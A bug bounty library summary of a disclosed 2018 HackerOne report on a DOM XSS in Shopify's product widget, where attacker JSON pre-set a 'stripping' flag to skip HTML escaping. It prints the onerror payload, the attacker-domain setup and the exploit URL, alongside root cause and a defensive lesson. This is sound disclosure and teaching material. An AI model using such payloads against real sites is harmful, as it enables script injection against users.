# XSS on "widgets.shopifyapps.com" via "stripping" attribute and "shop" parameter

Shopify widget JS disabled HTML escaping when a JSON object carried a `stripping` attribute, letting an attacker-controlled shop domain inject DOM XSS on widgets.shopifyapps.com.

- Payout: $1,000
- Severity: none
- Program: Shopify
- Credited: bored-engineer
- Disclosed: 2018-04-03
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/246794
- Library page: https://bugbountylibrary.com/r/h1%3A246794
- Tags: domain:web impact:integrity kind:bounty platform:hackerone tech:nodejs technique:js-analysis technique:source-review vuln:xss

**Target:** widgets.shopifyapps.com product widget (application.js)
**Root cause:** Framework.Helpers.stripHTMLForObject skips escaping any nested object that already has a `stripping` property, so attacker-supplied JSON can opt out of HTML sanitization.
**Steps:**
1. Read /assets/widgets/product/application.js and note stripHTMLForObject sets obj.stripping=true then recurses only into objects where val.stripping is null.
2. Host meta.json and product JSON on attackerdoma.in with product.variants[0] containing `"stripping": false` and title `<option/><select/><img src=xx: onerror=alert('bored-engineer')>`.
3. Load `https://widgets.shopifyapps.com/products/stripping-xss?shop=attackerdoma.in` so the widget fetches attacker JSON.
4. Escaping is skipped for the stripping-marked object and the img onerror fires.
**How found:** Code review of the widget's escaping helper revealed the `stripping` sentinel property used to prevent infinite recursion, and the realization that attacker-controlled JSON could pre-set it to bypass escaping.
**Exploitation:** Attacker hosts malicious product JSON on their own domain and lures a victim to a widgets.shopifyapps.com URL with `shop=attackerdoma.in`; the widget fetches and renders the unescaped title, executing JS in the Shopify widget origin.
**Insight:** Recursion-guard sentinel properties (like `stripping`) that live in the same object as untrusted data are attacker-settable; check whether any 'already processed' flag can be supplied by the input to skip sanitization.
